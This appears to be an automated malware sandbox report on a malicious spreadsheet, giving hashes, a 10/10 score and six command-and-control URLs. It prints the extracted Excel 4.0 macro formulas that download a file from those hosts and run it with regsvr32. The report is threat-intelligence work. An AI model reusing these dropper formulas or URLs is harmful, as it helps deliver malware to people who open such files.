General

  • Target

    ba5b8457cf95a02cd6f81c14c33bcfae37c2fff8dcb92878debadcd2b2476ce3

  • Size

    45KB

  • Sample

    241120-1n3rvsteka

  • MD5

    b9c70507bb9802c06ebc96455bb9d160

  • SHA1

    21c259611e2ce608da395ce59a7bcd53b07a0dbc

  • SHA256

    ba5b8457cf95a02cd6f81c14c33bcfae37c2fff8dcb92878debadcd2b2476ce3

  • SHA512

    3685d058090d44cccee19131447d6c58a19478d99323eb727c5cbd01f203e4e90cda97291503fba891fcee080654f3c23f6893917b4b6a170b00e5ad28569745

  • SSDEEP

    768:EBXcCsqi1O3bQkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U60Us:EBXcC5iybdtT5fTR4Lh1NisFYBc3cr+A

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://sorathlions.com/tmp/FlTSgo/

http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/

https://uzamart.com/indrawal/GZ7bN0V68oRpN7/

http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/

http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/

http://blog.centerking.top/wp-includes/PZ823VXII8/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/FlTSgo/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://uzamart.com/indrawal/GZ7bN0V68oRpN7/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/PZ823VXII8/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://sorathlions.com/tmp/FlTSgo/

xlm40.dropper

http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/

Targets

    • Target

      ba5b8457cf95a02cd6f81c14c33bcfae37c2fff8dcb92878debadcd2b2476ce3

    • Size

      45KB

    • MD5

      b9c70507bb9802c06ebc96455bb9d160

    • SHA1

      21c259611e2ce608da395ce59a7bcd53b07a0dbc

    • SHA256

      ba5b8457cf95a02cd6f81c14c33bcfae37c2fff8dcb92878debadcd2b2476ce3

    • SHA512

      3685d058090d44cccee19131447d6c58a19478d99323eb727c5cbd01f203e4e90cda97291503fba891fcee080654f3c23f6893917b4b6a170b00e5ad28569745

    • SSDEEP

      768:EBXcCsqi1O3bQkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U60Us:EBXcC5iybdtT5fTR4Lh1NisFYBc3cr+A

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks